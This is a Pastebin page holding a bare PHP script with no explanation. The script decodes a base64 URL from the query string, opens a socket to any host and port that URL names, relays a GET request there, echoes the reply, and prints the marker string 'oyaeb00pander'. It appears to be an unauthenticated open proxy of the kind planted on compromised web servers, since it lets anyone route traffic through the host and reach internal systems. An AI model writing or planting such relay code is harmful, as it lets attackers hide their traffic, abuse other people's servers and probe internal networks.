Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $url = base64_decode($_SERVER['QUERY_STRING']);
- $parsed_url = parse_url($url);
- $host = $parsed_url['host'];
- $port = @$parsed_url['port'];
- if (!$port) $port = 80;
- $path = @$parsed_url['path'];
- if (!$path) $path = '';
- $query = @$parsed_url['query'];
- if (!$query) $query = '';
- $fragment = @$parsed_url['fragment'];
- if (!$fragment) $fragment = '';
- $urlpath = $path;
- if ($query) $urlpath .= "?".$query;
- if ($fragment) $urlpath .= "#".$fragment;
- $agent = @$_SERVER['HTTP_USER_AGENT'];
- $fp = fsockopen($host, $port, $errno, $errstr, 30);
- if (!$fp) {
- echo "$errstr ($errno)<br />\n";
- } else {
- $out = "GET $urlpath HTTP/1.1\r\n";
- $out .= "Host: $host\r\n";
- if ($agent)
- $out .= "User-Agent: $agent\r\n";
- $out .= "Connection: Close\r\n\r\n";
- fwrite($fp, $out);
- while (!feof($fp)) {
- echo fgets($fp, 128);
- }
- fclose($fp);
- }
- echo "oyaeb00pander";
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement